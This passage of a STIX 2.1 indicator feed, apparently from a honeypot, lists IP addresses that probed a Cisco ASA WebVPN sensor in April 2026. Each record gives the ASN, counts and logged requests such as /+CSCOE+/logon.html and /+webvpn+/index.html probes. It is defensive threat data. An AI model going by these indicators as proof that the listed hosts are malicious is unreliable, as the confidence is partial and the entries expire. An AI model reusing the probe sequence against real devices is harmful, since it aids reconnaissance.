      "created": "2026-04-12T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--7e67cc59-7b35-4b0b-b55a-38cd8af6098f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.39.127.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T03:20:11.000Z",
      "valid_until": "2026-05-14T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 28,
          "first_seen": "2026-04-12T02:42:33.589Z",
          "last_seen": "2026-04-13T03:58:57.963Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--a8d310de-ac61-42e8-9c44-07aa6b47bd48",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T03:20:11.000Z",
      "valid_until": "2026-05-14T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-12T02:22:36.312Z",
          "last_seen": "2026-04-12T02:22:56.430Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--0e2caa06-60e2-4adb-a222-638962115864",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T03:20:11.000Z",
      "valid_until": "2026-05-14T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-12T02:20:55.413Z",
          "last_seen": "2026-04-25T15:21:17.632Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--7dd50fa0-4f80-4d4c-8f0e-b7c45bf25406",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '94.103.179.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T03:20:11.000Z",
      "valid_until": "2026-05-14T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 28,
          "first_seen": "2026-04-12T02:54:59.310Z",
          "last_seen": "2026-04-14T01:52:28.293Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--bc2a1f30-2cb9-4eef-8dc1-3849f1fc2c71",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.252.170.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T04:20:10.000Z",
      "valid_until": "2026-05-14T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-12T03:25:56.896Z",
          "last_seen": "2026-04-13T03:47:59.897Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T01:20:43.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--82a8336b-3990-4908-8be4-d03fe255e5ce",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '136.234.143.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T01:20:43.000Z",
      "valid_until": "2026-05-15T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 28,
          "first_seen": "2026-04-13T00:57:48.080Z",
          "last_seen": "2026-04-13T16:52:43.494Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T01:20:43.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--ceba65f1-98e9-4ab8-833c-d5c90cb755be",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.111.229.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T01:20:43.000Z",
      "valid_until": "2026-05-15T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 22,
          "first_seen": "2026-04-13T00:54:20.802Z",
          "last_seen": "2026-04-15T03:27:46.824Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T01:20:43.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--e7f0d510-6bc1-4e5b-a715-6ce8d5917ac6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.138.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T01:20:43.000Z",
      "valid_until": "2026-05-15T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 16,
          "first_seen": "2026-04-13T01:07:55.793Z",
          "last_seen": "2026-04-13T01:45:41.068Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T01:20:43.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--b6f4c52a-04d1-4d7f-a71a-923aa2bd2e27",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.121.83.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T01:20:43.000Z",
      "valid_until": "2026-05-15T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-13T01:10:41.414Z",
          "last_seen": "2026-04-13T07:31:49.320Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T01:20:43.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--2c50cbdd-35f1-440f-918a-a2d56ad9ab48",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '193.176.23.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T01:20:43.000Z",
      "valid_until": "2026-05-15T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-13T01:08:14.060Z",
          "last_seen": "2026-04-13T09:00:04.649Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T01:20:43.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--acbb7816-9f3e-448b-a0ca-a1bac98099d8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.230.77.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T01:20:43.000Z",
      "valid_until": "2026-05-15T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-13T01:06:53.033Z",
          "last_seen": "2026-04-13T01:07:06.417Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T01:20:43.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--1e7fdb7d-e5a8-4ce2-866d-545bf8a5b2b4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '3.89.60.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T01:20:43.000Z",
      "valid_until": "2026-05-15T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-13T00:57:51.285Z",
          "last_seen": "2026-04-13T00:57:51.285Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T01:20:43.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--9bcc0468-f6cc-4f3b-92d4-cac5c9c0fdba",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '54.147.248.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T01:20:43.000Z",
      "valid_until": "2026-05-15T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-13T00:51:30.403Z",
          "last_seen": "2026-04-13T00:51:30.403Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T02:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--e525ce00-fdf5-4da3-9d5e-b258282e34d0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '109.94.216.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T02:20:07.000Z",
      "valid_until": "2026-05-15T02:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 8,
          "first_seen": "2026-04-13T02:04:23.214Z",
          "last_seen": "2026-04-13T02:04:39.932Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T02:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--cb8fae1a-eec8-4777-9d6a-45b8aa97e02b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.111.3.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T02:20:07.000Z",
      "valid_until": "2026-05-15T02:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-13T01:58:13.650Z",
          "last_seen": "2026-04-13T01:58:25.252Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T02:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--d069dcc4-1a14-4e82-b8ce-de512ca2359c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.252.43.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T02:20:07.000Z",
      "valid_until": "2026-05-15T02:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-13T01:33:07.972Z",
          "last_seen": "2026-04-13T07:03:42.266Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T02:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--97f5c89b-574e-42f9-857f-bb29ca298e15",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '166.1.250.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T02:20:07.000Z",
      "valid_until": "2026-05-15T02:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 23,
          "first_seen": "2026-04-13T01:26:58.290Z",
          "last_seen": "2026-04-13T09:21:57.040Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T02:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--3d6112eb-25b5-4aed-8abe-30374c8bafe4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '166.88.215.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T02:20:07.000Z",
      "valid_until": "2026-05-15T02:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 43,
          "first_seen": "2026-04-13T02:01:22.597Z",
          "last_seen": "2026-04-13T10:36:18.507Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T02:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--47669187-fb23-4707-92dd-3b0802484613",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '166.88.219.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T02:20:07.000Z",
      "valid_until": "2026-05-15T02:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-13T02:01:18.616Z",
          "last_seen": "2026-04-13T02:01:44.402Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T02:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--bd44f282-31a7-4fb7-aebb-3f21ff984a14",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.182.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T02:20:07.000Z",
      "valid_until": "2026-05-15T02:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
